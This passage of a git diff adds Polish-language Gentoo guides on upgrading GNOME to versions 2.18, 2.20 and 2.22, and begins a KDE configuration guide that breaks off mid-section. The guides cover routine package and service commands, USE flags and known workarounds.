+</author>
+<author title="Edytor, tłumacz">
+  <mail link="cla@gentoo.org">Dawid Węgliński</mail>
+</author>
+
+<abstract>
+Opis procesu aktualizacji GNOME 2.16.x do wersji 2.18.x.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.5</version>
+<date>2007-08-18</date>
+
+<chapter>
+<title>Główne zmiany</title>
+<section>
+<title>System dźwięku i ESD</title>
+<body>
+
+<p>
+Deweloperzy Gnome zdecydowali o usunięciu części możliwości esd, z powodu ich
+wad, które prowadziły do wielu problemów. Oznacza to, że używając systemu
+dźwięku, należy mieć esound uruchamianego podczas ładowania systemu. Robi się
+to poprzez wydanie komendy:
+</p>
+
+<pre caption="Uruchamianie esound podczas ładowania systemu">
+# <i>rc-update add esound default</i>
+</pre>
+
+<p>
+Trzeba mieć na uwdze, że esound nie zostanie uruchomiony aż do następnego
+restartu systemu. Aby usługa ta została uruchomiona natychmiast, trzeba wykonać
+następujące polecenie:
+</p>
+
+<pre caption="Uruchomienie esound">
+# <i>/etc/init.d/esound start</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Totem nie ma flagi xine!</title>
+<body>
+
+<p>
+Zespół Gnome zdecydował się usunąć flagę xine z powodu błędów, których nie da
+się naprawić w prosty sposób. Jasnym jest, że sprawia to problemy podczas
+odtwarzania płyt DVD, jednak jest to możliwe. Należy mieć pewność, że totem był
+zbudowany z flagą dvd, a następnie uruchomić go:
+</p>
+
+<pre caption="Odtwarzanie DVD w totemie">
+# <i>totem dvd://</i>
+</pre>
+
+<p>
+Pozwoli to jedynie odtworzyć płytę, niestety bez menu.
+</p>
+
+<p>
+Ciągle trwają prace nad stworzeniem możliwości użycia xine w totemie wraz z
+gstreamerem. Wciąż jednak będzie to rozwiązanie niewspierane i przynoszące
+więcej problemów niż korzyści. Wszelka pomoc w rozwiązaniu tego problemu będzie
+mile widziana.
+</p>
+
+</body>
+</section>
+<section>
+<title>
+Flagi przeglądarki pluginów w totemie się zmieniły! Teraz dostaję seamonkey!
+</title>
+<body>
+
+<p>
+Flagi USE dla gecko zostały zmienione. Dawniej domyślną była seamonkey z
+możliwością wyboru firefox lub xulrunner. Obecnie domyślną jest firefox i
+możliwość wyboru xulrunner lub seamonkey. Stało się tak z dwóch powodów. Po
+pierwsze, seamonkey nie uruchamia się na wszystkich architekturach, więc
+potrzeba flagi USE, którą można zamaskować w profilu. Po drugie, aby umożliwić
+programowi totem współprace z innymi aplikacjami Gnome, takimi jak epiphany.
+Poniżej znajduje się lista możliwych kombinacji flag oraz opis ich działania:
+</p>
+
+<table>
+<tr>
+  <th colspan="2">Różne warianty zastosowania flag USE w totemie</th>
+</tr>
+<tr>
+  <th>Flaga USE</th>
+  <th>Rezultat</th>
+</tr>
+<tr>
+  <ti>USE="<c>-nsplugin</c>"</ti>
+  <ti>Dezaktywacja przeglądarki pluginów i odrzucenie gecko z zależności</ti>
+</tr>
+<tr>
+  <ti>USE="<c>nsplugin -xulrunner -seamonkey</c>"</ti>
+  <ti>
+    Buduje plugin na podstawie firefoxa. Jest to domyślna opcja we wszystkich
+    profilach.
+  </ti>
+</tr>
+<tr>
+  <ti>USE="<c>nsplugin xulrunner -seamonkey</c>"</ti>
+  <ti>Buduje plugin na podstawie xulrinner.</ti>
+</tr>
+<tr>
+  <ti>USE="<c>nsplugin xulrunner seamonkey</c>"</ti>
+  <ti>
+    Buduje plugin na podstawie xulrunner (xulrunner gryzie się z seamonkey).
+  </ti>
+</tr>
+<tr>
+  <ti>USE="<c>nsplugin -xulrunner seamonkey</c>"</ti>
+  <ti>Buduje plugin na podstawie seamonkey.</ti>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Znane problemy</title>
+<section>
+<title>
+Brakujące ikony w tacce systemowej (szczególnie gnome-power-manager)
+</title>
+<body>
+
+<p>
+W Gnome 2.18 na tacce systemowej może brakować niektórych ikon. Powinny one się
+pojawić dla aplikacji uruchamianych wraz z sesją Gnome. Program jest
+uruchomiony, lecz brakuje jego ikony w tacce. Najczęściej przytrafia się to 
+menadżerowi energii (gnome-power-manager). Mamy nadzieję, że błąd ten zostanie
+naprawiony w przyszłości. Niestety w chwili obecnej obejściem tego problemu musi
+być ponowne uruchomienie programu zaraz po starcie sesji Gnome. W tym celu
+należy uruchomić terminal i wykonać poniższe polecenia:
+</p>
+
+<pre caption="Przywrócenie ikony gnome-power-manager w tacce systemowej">
+# <i>killall gnome-power-manager</i>
+# <i>gnome-power-manager</i>
+</pre>
+
+<p>
+Przywróci to ikonę g-p-m w tacce systemowej aż do końca sesji.
+</p>
+
+</body>
+</section>
+<section>
+<title>Błędy podczas logowania w Deskbar-applet</title>
+<body>
+
+<p>
+W demonie trackerd jest błąd, który powoduje "sytuację wyścigu", w którym
+trackerd jest uruchamiany, a deskbar jednocześnie próbuje go uruchomić poprzez
+interfejs dbus. Powoduje to błąd w działaniu deskbar-applet.
+</p>
+
+<pre caption="Naprawa deskbar-applet">
+# <i>killall deskbar-applet</i>
+</pre>
+
+<p>
+Kiedy pojawi się okienko dialogowe z pytaniem o ponowne uruchomienie, należy
+wybrać "Przeładuj".
+</p>
+
+<p>
+Wystarczy, że wykona się to jeden raz po zalogowaniu. Deskbar-applet będzie
+wtedy działał do końca sesji.
+</p>
+
+</body>
+</section>
+<section>
+<title>Kompilacja kończy się niepowodzeniem z błędem XML::</title>
+<body>
+
+<p>
+Zdarza się tak ponieważ <c>expat</c> został przeniesiony do stabilnej gałęźi
+drzewa w tym samym czasie co Gnome 2.18. Należy przebudować wszystko, co jest
+zlinkowane z tą biblioteką. Aby to zrobić, należy wykonać polecenie:
+</p>
+
+<pre caption="Naprawa błędów expat">
+# <i>revdep-rebuild -X</i>
+</pre>
+
+<p>
+Zostaną naprawione wszystkie błędy powodowane przez expat. Kiedy przeprowadzimy
+już tę operację należy kontynuować aktualizację Gnome.
+</p>
+
+<p>
+Kiedy aktualizacja Gnome 2.18 zostanie zakończona pomyślnie, należy jeszcze raz
+uruchomić <c>revdep-rebuild</c>, aby wszystkie zależności zostały prawidłowo
+zbudowane. Należy pamiętać, aby na koniec uruchomić <c>dispatch-conf</c>!
+</p>
+
+<p>
+Jeśli podczas procesu aktualizacji dbus i hal były uruchomione, należy je
+zrestartować:
+</p>
+
+<pre caption="Ponowne uruchomienie usług">
+# <i>/etc/init.d/dbus restart</i>
+# <i>/etc/init.d/hald restart</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/pl/desktop/gnome/howtos/gnome-2.20-upgrade.xml b/xml/htdocs/proj/pl/desktop/gnome/howtos/gnome-2.20-upgrade.xml
new file mode 100644
index 00000000..43213dfe
--- /dev/null
+++ b/xml/htdocs/proj/pl/desktop/gnome/howtos/gnome-2.20-upgrade.xml
@@ -0,0 +1,124 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/desktop/gnome/howtos/gnome-2.20-upgrade.xml,v 1.1 2008/03/05 03:15:56 rane Exp $ -->
+
+<guide link="/proj/pl/desktop/gnome/howtos/gnome-2.20-upgrade.xml" lang="pl">
+<title>Aktualizacja Gnome do wersji 2.20</title>
+
+<author title="Autor">
+  <mail link="dang@gentoo.org">Daniel Gryniewicz</mail>
+</author>
+<author title="Autor">
+  <mail link="leio@gentoo.org">Mart Raudsepp</mail>
+</author>
+<author title="Tłumaczenie">
+  <mail link="artur.smet@gmail.com">Artur Smęt</mail>
+</author>
+
+<abstract>
+Opis aktualizacji GNOME do wers 2.20.x.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.1</version>
+<date>2007-11-22</date>
+
+<chapter>
+<title>Zmiany</title>
+<section>
+<title>Czcionka, Motyw oraz Preferencje Tła</title>
+<body>
+
+<p>
+Panele: Czcionka, Motyw oraz Tło zostały połączone w jeden panel "Wygląd".
+Oznacza to, że wszystkie zmiany dotyczące wyglądu pulpitu użytkownika wykonuje
+się w jednym oknie, w zakładkach. W celu zmiany ustawień wyglądu należy otworzyć
+menu System -> Preferencje -> Wygląd.
+</p>
+
+</body>
+</section>
+<section>
+<title>Wybór filtru spamu w Evolution</title>
+<body>
+
+<p>
+Evolution posiada teraz prawdziwy wybór filtrów spamu. Aplikacja jest
+dostarczana z wbudowanymi wtyczkami dla Spamassassin oraz Bogofilter, użytkownik
+może wybrać, którego z nich chce użyć w danym momencie. Flagi USE umożliwiające
+wybór tych filtrów zostały usunięte. W celu wybrania wtyczki filtru należy wejść
+w menu Ustawienia -> Ustawienia poczty -> Niechciana i ustawić Domyślną wtyczkę
+filtru z rozwijanego menu. Potrzebne oprogramowanie zostanie wykryte. Jeśli w
+systemie jest zainstalowany tylko jeden program z duetu Spamassassin oraz
+Bogofilter, zostanie on wybrany jako domyślny. Jeśli są zainstalowane oba,
+domyślnie wybrany zostanie Spamassassin.
+</p>
+
+</body>
+</section>
+<section>
+<title>Migracja do biblioteki metadokumentów Rarian</title>
+<body>
+
+<p>
+Od zawsze dokumenty pomocy dla użytkownika GNOME były tworzone i indeksowane z
+pomocą pakietu scrollkeeper. Trwało to do czasu, gdy pojawiła się nowa osoba z
+nowymi pomysłami na rozwiązanie tego problemu.
+</p>
+
+<p>
+GNOME 2.20 niesie ze sobą zastępstwo w formie nowego pakietu Rarian. Jedną z
+korzyści zmiany scroolkeepera na Rarian jest dużo szybsze generowanie spisu
+treści dokumentów oraz fakt że Rarian pozwala uwolnić się od problemów przy
+instalacji pakietów i każdorazowym uaktualnianiem bazy danych scrollkeepera w
+trakcie instalacji. Na szczęście Rarian jest dostarczany z pełnym wsparciem dla
+pakietu scrollkeeper, więc migracja ze scrollkeepera do Rarian powinna przebiec
+bezboleśnie.
+</p>
+
+<p>
+Członkowie zespołu Gentoo/GNOME dołożyli starań, aby migracja na Gnome 2.20
+przebiegała bezboleśnie. Dodano w tym celu specjalną wersję scrollkeepera, która
+ma ułatwić przejście do Rarian. Wersja ta, 9999, jest wersją tymczasową, nie
+jest to ebuild z CVS. Portage nie powinno stwarzać żadnych problemów przy
+tej operacji. Nie wymaga ona nawet osobistej interwencji użytkownika w cały
+proces.
+</p>
+
+</body>
+</section>
+<section>
+<title>Inne zmiany</title>
+<body>
+
+<p>
+Szczegółowe informacje o tym wydaniu znajdują się w <uri
+link="http://www.gnome.org/start/2.20/notes/en/">GNOME 2.20 Release
+Notes</uri>
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Znane problemy</title>
+<section>
+<title>
+Brak ikony Gnome Power Manager w zasobniku systemowym (naprawiono)
+</title>
+<body>
+
+<p>
+Problem z brakiem ikony gnome-power-managera w zasobniku systemowym podczas
+startu systemu został naprawiony. Jeśli zostały dokonane inne zmiany w celu
+obejścia tego problemu, powinny one zostać usunięte przed aktualizacją.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/pl/desktop/gnome/howtos/gnome-2.22-upgrade.xml b/xml/htdocs/proj/pl/desktop/gnome/howtos/gnome-2.22-upgrade.xml
new file mode 100644
index 00000000..edd33ff4
--- /dev/null
+++ b/xml/htdocs/proj/pl/desktop/gnome/howtos/gnome-2.22-upgrade.xml
@@ -0,0 +1,195 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/desktop/gnome/howtos/gnome-2.22-upgrade.xml,v 1.2 2008/07/25 14:39:27 shadow Exp $ -->
+
+<guide link="/proj/pl/desktop/gnome/howtos/gnome-2.22-upgrade.xml" lang="pl">
+<title>Gnome 2.22 Poradnik aktualizacji</title>
+
+<author title="Autor">
+  <mail link="remi"/>
+</author>
+<author title="Autor">
+  <mail link="leio"/>
+</author>
+<author title="Korekta">
+  <mail link="nightmorph"/>
+</author>
+<author title="Tłumaczenie">
+  <mail link="artur.smet@gmail.com">Artur Smęt</mail>
+</author>
+
+<abstract>
+Informacje dotyczące aktualizacji GNOME 2.20.x do GNOME 2.22.x.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.3</version>
+<date>2008-06-20</date>
+
+<chapter>
+<title>Zmiany</title>
+<section>
+<title>Automatyczne montowanie pamięci podręcznych</title>
+<body>
+
+<p>
+W systemie automatycznego montowania poczyniono kilka ważnych zmian w Gnome
+2.22. W tej chwili zajmuje się tym Nautilus zamiast
+<c>gnome-base/gnome-volume-manager</c>. Jednak, <c>gnome-volume-manager</c>
+jest cały czas używany do wykrywania nowego sprzętu takiego jak kamery.
+</p>
+
+<p>
+Z powodu tej zmiany do pakietu <c>gnome-volume-manager</c> dodano flagę use
+<c>automount</c>, dla użytkowników, którzy chcą zachować stary sposób
+automontowania. Użytkownikom, którzy poprzednio uruchomili
+<c>gnome-volume-manager</c> z pulpitami nie pracującymi pod kontrolą Gnome
+zaleca się uaktywnienie tej flagi. Z kolej użytkownicy pracujący z Gnome
+powinnim wyłączyć tę flagę, tak aby nie powodować zakłóceń w pracy Nautilusa.
+</p>
+
+</body>
+</section>
+<section>
+<title>Menedżer kluczy Seahorse</title>
+<body>
+
+<p>
+Począwszy od wersji 2.22, Seahorse (<c>app-crypt/seahorse</c>) jest oficjalnym
+menedźerem kluczy oraz haseł, który zastępuje GNOME Keyring Manager
+(<c>gnome-extra/gnome-keyring-manager</c>). Przechowuje on klucze GPG oraz SSH,
+może też zostać użyty do zarządzania hasłami zachowanymi w bazie kluczy GNOME.
+</p>
+
+<p>
+Jeśli po aktualizacji GNOME Seahorse spełni oczekiwania użytkownika, można bez
+przeszkód usunąć pakiet<c>gnome-keyring-manager</c>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Integracja PAM i bazy kluczy GNOME</title>
+<body>
+
+<p>
+Rozpoczynając od GNOME 2.20, baza kluczy GNOME (<c>gnome-base/gnome-keyring</c>)
+zaczęła dostarczać moduł PAM (<path>pam_gnome_keyring.so</path>) w celu
+automatycznego odblokowywania bazy kluczy przy logowaniu oraz żeby odciążyć
+użytkownika od wpisywania dwóch haseł przy logowaniu.
+</p>
+
+<p>
+W GNOME 2.22 ta funkcja jest jeszcze prostsza do skonfigurowania, dzięki
+pakietowi <c>sys-auth/pambase</c>, który posiada flagę USE
+<c>gnome-keyring</c>. Po włączeniu tej flagi, pliki konfiguracyjne PAM w
+<path>/etc/pam.d/</path> będą automatycznie miały wpis
+<path>pam_keyring.so</path> w odpowienich miejscach. Potem należy użyć
+<c>dispatch-conf</c> lub podobnego narzędzia i wybrać <c>pambase</c> do
+aktualizacji tych plików.
+</p>
+
+</body>
+</section>
+<section>
+<title>Inne zmiany</title>
+<body>
+
+<p>
+W celu sprawdzenia innych zmian w nowej wersji środowiska gnome, należy
+przeczytać dokument <uri
+link="http://library.gnome.org/misc/release-notes/2.22/">GNOME 2.22 Release
+Notes</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Rozwiązywanie problemów</title>
+<section>
+<title>Aktualizacja Pythona do wersji 2.5</title>
+<body>
+
+<p>
+Przed aktualizacją do Gnome 2.22 należy się upewnić, że posiadamy
+<e>jedynie</e> <c>dev-lang/python-2.5*</c>, a nasz system jest aktualny.
+</p>
+
+<pre caption="Aktualizacja pythona">
+# <i>emerge -av dev-lang/python:2.5</i>
+# <i>python-updater</i>
+# <i>emerge -C dev-lang/python:2.4</i>
+</pre>
+
+<warn>
+Jeśli stworzymy raport błędu związany z błędami Pythona, a nadal będziemy
+używać wersji 2.4, <e>poprosimy</e> Cię o aktualizację do wersji 2.5. Herd
+Gnome <e>nie</e> wspiera GNOME 2.22 z zainstalowanym pakietem Puthon 2.4.
+</warn>
+
+
+</body>
+</section>
+<section>
+<title>Zablokowane pakiety</title>
+<body>
+
+<p>
+W GNOME 2.22 kilka pakietów zostało podzielonych na dwa, aby umożliwić innym
+aplikacjom używanie poprzednio wewnętrznych bibliotek. Np. biblioteka parsowania
+playlist, będąca poprzednio częścią pakietu <c>totem</c> została teraz
+wydzielona do pakietu <c>dev-libs/totem-pl-parser</c>, tak więc
+<c>rhythmbox</c>może zależeć od niego, bez zależenia od pakietu <c>totem</c>.
+</p>
+
+<p>
+Musimy zablokować możliwość jednoczesnego posiadania tych pakietów, aby uniknąć
+kolizji między plikami. Aby to zrobić, należy postępować zgodnie z intrukcjami
+zawartymi w  <uri
+link="http://www.gentoo.org/doc/pl/handbook/handbook-x86.xml?full=1#blocked">Podręczniku
+Gentoo</uri> lub zwracanymi przez Portage. Tymczasowo można usunąć konfliktowe
+pakiety i dalej normalnie używać systemu, a uprzednio odinstalowane pakiety
+przywrócić gdy meta-pakiet lub inne części GNOME będą od niego zależne.
+</p>
+
+</body>
+</section>
+<section>
+<title>GNOME nie jest dłużej dostępne jako sesja w GDM</title>
+<body>
+
+<p>
+GDM używa plików dostępnych w <path>/usr/share/xsessions/*</path> do wykrycia
+zainstalowanych środowisk graficznych oraz umożliwia wybranie ich poprzez menu
+"Sesje".
+</p>
+
+<p>
+Odpowiedni plik dla GNOME jest teraz dostarczany przez
+<c>gnome-base/gnome-session-2.22</c> zamiast <c>gnome-base/gdm</c>, przez co
+plik sesji może zostać nadpisany.
+</p>
+
+<p>
+Jednyna rzecz, jaka może pójść źle to niezaktualizowanie pakietu
+<c>gnome-session</c> po jego usunięciu, w celu rozwiązania blokowania pakietu
+GDM. Objawem może być brak GNOME jako wyboru w menu "Sesje" w GDM, w tym
+przypadku należy sprawdzić, czy pakiet <c>gnome-session-2.22.0</c> lub nowszy
+jest zainstalowany.
+</p>
+
+<p>
+Ten problem nie może się wydarzyć u użytkowników meta-pakietu
+<c>gnome-base/gnome</c>, ponieważ pobierze on odpowiedni pakiet
+<c>gnome-session</c> ponownie.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/pl/desktop/kde/kde-config.xml b/xml/htdocs/proj/pl/desktop/kde/kde-config.xml
new file mode 100644
index 00000000..2300847a
--- /dev/null
+++ b/xml/htdocs/proj/pl/desktop/kde/kde-config.xml
@@ -0,0 +1,883 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/desktop/kde/kde-config.xml,v 1.2 2008/06/29 10:44:11 rane Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide lang="pl">
+<title>Konfiguracja KDE</title>
+
+<author title="Autor">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="Redaktor">
+  <mail link="greg_g@gentoo.org">Gregorio Guidi</mail>
+</author>
+<author title="Tłumaczenie">
+  <mail link="muchar@gentoo.org">Robert Muchacki</mail>
+</author>
+<author title="Tłumaczenie">
+  <mail link="stawrul@gmail.com">Waldemar Korłub</mail>
+</author>
+
+<abstract>
+KDE to jedno z najpopularniejszych środowisk graficznych. Ten przewodnik
+opisuje prawie wszystkie aspekty KDE, włączając instalację, konfigurację i
+pracę w tym środowisku.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.22</version>
+<date>2007-06-23</date>
+
+<chapter>
+<title>Co to jest K Desktop Environment?</title>
+<section>
+<title>Projekt</title>
+<body>
+
+<p>
+<uri link="http://www.kde.org">Projekt KDE</uri> to projekt, który ma na celu
+tworzenie darmowego oprogramowania dedykowanego dla środowiska KDE - graficznego
+środowiska o otwartym kodzie, przeznaczonego dla stacji roboczych Linux oraz
+UNIX. Rozwijaniem projektu zajmuje się kilkuset inżynierów oprogramowania z
+całego świata, którzy zgodzili się za darmo pracować dla
+projektu. Więcej informacji o KDE można uzyskać na <uri
+link="http://www.kde.org/whatiskde/project.php">stronach tego projektu</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Oprogramowanie</title>
+<body>
+
+<p>
+K Desktop Environment to proste w użyciu środowisko graficzne zbudowane na
+dobrze przemyślanym szkielecie programowym. Pozwala on na współdziałanie
+między aplikacjami, wykonywanie operacji na zasadzie "przeciągnij i upuść", itp.
+Oprócz obowiązkowych komponentów wymaganych przez środowisko, KDE zapewnia
+również odpowiednie aplikacje do setek zastosowań: zarządzania plikami,
+przeglądania stron WWW, prac biurowych czy obsługi poczty
+elektronicznej. Wszystko to wchodzi w skład projektu KDE.
+</p>
+
+<p>
+Środowisko KDE jest dostępne w ponad 70 językach i jest używane przez ogromne
+rzesze użytkowników. Dla zainteresowanych, dostępnych jest wiele <uri
+link="http://www.kde.org/screenshots/">zrzutów ekranów</uri>. Aby uzyskać więcej
+informacji na temat KDE, można przeczytać artykuł <uri
+link="http://www.kde.org/whatiskde/">Co to jest KDE?</uri> (w języku angielskim)
+na <uri link="http://www.kde.org">stronie domowej KDE</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Społeczność</title>
+<body>
+<p>
+Istnieje wiele stron społeczności KDE. Na stronie <uri
+link="http://www.kdenews.org">KDEnews.org</uri> można znaleźć najnowsze ogólne
+informacje na temat KDE. <uri
+link="http://www.kdedevelopers.org">KDEdevelopers.org</uri> z kolei przeznaczone
+jest dla osób rozwijających KDE, zaś <uri
+link="http://www.kde-forum.org">KDE-forum</uri> jest przeznaczone do komunikacji
+pomiędzy użytkownikami. Więcej odnośników można znaleźć na stronie <uri
+link="http://www.kde.org/family/">rodziny KDE</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Instalowanie KDE</title>
+<section>
+<title>Co jest potrzebne?</title>
+<body>
+
+<p>
+Jeśli jesteśmy zainteresowani zainstalowaniem KDE (lub wsparciem projektu KDE),
+musimy upewnić się, że we flagach USE mamy ustawioną flagę <c>kde</c> oraz
+<c>qt3</c> lub <c>qt4</c> (lub obie naraz). Zainteresowani powinni wiedzieć, że
+Qt jest biblioteką graficzną potrzebną dla poprawnego działania KDE. <c>qt3</c>
+odpowiada za wsparcie wersji 3.x, natomiast <c>qt4</c> odpowiada za wsparcie
+dla nowszej wersji 4.x. Żadna z tych flag nie jest wymagana do instalacji KDE.
+Należy natomiast pamiętać, że niektóre pakiety poprzez te flagi pozwalają na
+wybór wsparcia dla <c>qt3</c> lub <c>qt4</c>.
+</p>
+
+<p>
+KDE potrafi również samodzielnie montować urządzenia. Należy dodać <c>hal</c> do
+flag USE, jeśli chcemy zapewnić obsługę automatycznego montowania urządzeń, tak
+jak to opisano w części <uri link="#kde_device_mounting">Montowanie urządzeń w
+KDE</uri>.
+</p>
+
+<p>
+Jeśli nie będzie używane <uri link="http://www.arts-project.org/">aRts</uri> do
+obsługi multimediów, należy wyłączyć flagę USE <c>arts</c> (jest ona
+domyślnie włączona).
+</p>
+
+<note>
+W wydaniu Gentoo 2006.1 pojawił się szereg nowych profili, w tym podprofil o
+nazwie <c>desktop</c>. Użytkownicy KDE mogą chcieć się na niego przełączyć,
+jeśli jest dostępny dla ich architektury, ponieważ włącza on domyślnie serię
+flag USE, które w innym wypadku musieliby włączać ręcznie. Opis zmiany profilu
+znajduje się w tekście <uri link="/doc/pl/gentoo-upgrading.xml">Aktualizowanie
+Gentoo</uri>.
+</note>
+
+</body>
+</section>
+<section>
+<title>Instalacja KDE przy użyciu rozdzielonych pakietów</title>
+<body>
+
+<note>
+Rozdzielone ebuildy to znacznie lepszy wybór niż omówiona poniżej monolityczna
+alternatywa.
+</note>
+
+<p>
+Jeśli chcemy mieć jeszcze większą kontrolę, nad tym jakie elementy KDE zostaną
+zainstalować, mamy możliwość wyboru pojedynczych programów, które będziemy
+wykorzystywać. Więcej informacji na temat ebuildów poszczególnych programów KDE
+można uzyskać w dokumencie  <uri
+link="/doc/pl/kde-split-ebuilds.xml">Rozdzielone ebuildy KDE</uri>.
+</p>
+
+<p>
+Wybór co zainstalować, a co nie, w przypadku rozdzielonych ebuildów jest
+znacznie trudniejszy niż gdy korzystamy z monolitycznych pakietów. Dlatego też
+Gentoo dostarcza meta pakiety, które zawierają pewną ilość programów KDE:
+</p>
+
+<ul>
+  <li>
+    W przypadku zapotrzebowania na pełną instalację KDE, należy zainstalować
+    <c>kde-meta</c>. Ten pakiet zainstaluje wszystkie aplikacje KDE jako
+    zależności.
+  </li>
+  <li>
+    Podstawową instalację KDE można osiągnąć instalując <c>kdebase-startkde</c>.
+    W dowolnym momencie można instalować kolejne aplikacje KDE.
+  </li>
+  <li>
+    Jeśli zamierza się zainstalować coś pomiędzy <c>kde-meta</c> i
+    <c>kdebase-startkde</c>, należy wybrać pakiet <c>kdebase-meta</c>.
+    Zainstaluje on kilka dodatkowych aplikacji takich jak <c>konsole</c> czy
+    <c>kdm</c>.
+  </li>
+</ul>
+
+<p>
+Powyższe trzy opcje to skrajne możliwości. Najlepszym rozwiązaniem byłoby
+zastosowanie bezpiecznej mieszanki obu. Aby ułatwić proces podejmowania decyzji,
+poniższa tabela przedstawia krótki, niekompletny przegląd niektórych dostępnych
+pakietów KDE.
+</p>
+
+<p>
+Te pakiety <e>nie są</e> częścią instalacji <c>kdebase-startkde</c>.
+</p>
+
+<table>
+<tr>
+  <th>Nazwa pakietu</th>
+  <th>Opis</th>
+</tr>
+<tr>
+  <ti><c>akregator</c></ti>
+  <ti>
+    Aplikacja to łatwego zarządzania i przeglądania kanałów RSS.
+  </ti>
+</tr>
+<tr>
+  <ti><c>juk</c></ti>
+  <ti>
+    Obsługujący playlisty odtwarzacz multimedialny, inspirowany iTunes firmy
+    Apple.
+  </ti>
+</tr>
+<tr>
+  <ti><c>kate</c></ti>
+  <ti>
+    <uri link="http://kate.kde.org/">KDE Advanced Text Editor (KATE)</uri> to
+  edytor pozwalający na edytowanie wielu dokumentów równocześnie z kolorowaniem
+  składni, zwijaniem kodu oraz wieloma innymi możliwościami.
+  </ti>
+</tr>
+<tr>
+  <ti><c>kmail</c></ti>
+  <ti>
+    Pocztę można efektywnie zorganizować dzięki <uri
+    link="http://kmail.kde.org/">KMail</uri>.
+  </ti>
+</tr>
+<tr>
+  <ti><c>knetattach</c></ti>
+  <ti>
+    Dzięki KNetAttach (również znane jako <e>Network Folder Wizard</e>), można
+    w prosty sposób dodać zasób sieciowy do pulpitu KDE.
+  </ti>
+</tr>
+<tr>
+  <ti><c>knode</c></ti>
+  <ti>
+    KNode to posiadająca wiele możliwości przeglądarka newsów.
+  </ti>
+</tr>
+<tr>
+  <ti><c>konsole</c></ti>
+  <ti>
+    <uri link="http://konsole.kde.org/">Konsole</uri> to emulator terminala
+    przeznaczony dla KDE.
+  </ti>
+</tr>
+<tr>
+  <ti><c>kontact</c></ti>
+  <ti>
+    <uri link="http://kontact.kde.org/">Kontact</uri> to menedżer informacji
+    osobistych przeznaczony dla KDE, pozwalający zarządzać łatwiej kontaktami,
+    oraz zorganizować wspólną pracę aby przebiegała szybciej i sprawniej.  </ti>
+</tr>
+<tr>
+  <ti><c>kopete</c></ti>
+  <ti>
+    <uri link="http://kopete.kde.org/index.php">Kopete</uri> to komunikator
+    przeznaczony dla KDE wspierający wszystkie znane protokoły różnych
+    komunikatorów.
+  </ti>
+</tr>
+<tr>
+  <ti><c>korganizer</c></ti>
+  <ti>
+    <uri link="http://korganizer.kde.org/">Korganizer</uri> to kalendarz i
+    aplikacja zarządzająca czasem dla KDE.
+  </ti>
+</tr>
+<tr>
+  <ti><c>kpdf</c></ti>
+  <ti>
+    Przy pomocy <uri link="http://kpdf.kde.org/">KPDF</uri> można przeglądać i
+    pracować z plikami PDF. Program posiada unikalne cechy, które
+    znacznie ułatwiają przeglądania plików.
+  </ti>
+</tr>
+<tr>
+  <ti><c>kscd</c></ti>
+  <ti>
+    kscd to graficzny odtwarzacz płyt CD dla KDE.
+  </ti>
+</tr>
+<tr>
+  <ti><c>ksnapshot</c></ti>
+  <ti>
+    Przy pomocy ksnapshot można robić zrzuty ekranu.
+  </ti>
+</tr>
+<tr>
+  <ti><c>kuickshow</c></ti>
+  <ti>
+    kuickshow umożliwia wyświetlanie wielu rodzajów plików graficznych.
+  </ti>
+</tr>
+</table>
+
+<p>
+Jest to dopiero wierzchołek góry lodowej. Aby uzyskać informacje o wszystkich
+aplikacjach KDE, wystarczy zajrzeć do <uri
+link="http://packages.gentoo.org/category/kde-base?full_cat">kategorii kde-base
+</uri>. Przeznaczenie poszczególnych programów powinno być dostępne w opisie.
+</p>
+
+<p>
+Aby podejrzeć co zainstaluje emerge, należy użyć <c>emerge -p</c> z pomocą
+<c>less</c>, w innym przypadku może być kłopot z zobaczeniem wszystkich paczek.
+</p>
+
+<pre caption="Podglądanie instalacji kde">
+<comment>(Należy wstawić wybrane pakiety)</comment>
+# <i>emerge -p kdebase-startkde | less</i>
+</pre>
+
+<p>
+Jeśli rezultat jest poprawny, wystarczy usunąć <c>-p</c>. Kompilacja zapewne
+troszeczkę potrwa. KDE jest olbrzymim środowiskiem, więc nie ma się co
+dziwić, że nie zostanie skompilowane w ciągu kilku minut.
+</p>
+
+
+</body>
+</section>
+<section>
+<title>Instalowanie KDE przy pomocy monolitycznych pakietów</title>
+<body>
+
+<p>
+Chociaż monolityczne pakiety są mniej rekomendowaną metodą instalacji KDE w
+Gentoo, pozostawiamy użytkownikom możliwość korzystania z nich.
+</p>
+
+<p>
+Projekt KDE opublikował nową wersję środowiska, składającą się z 16 dużych
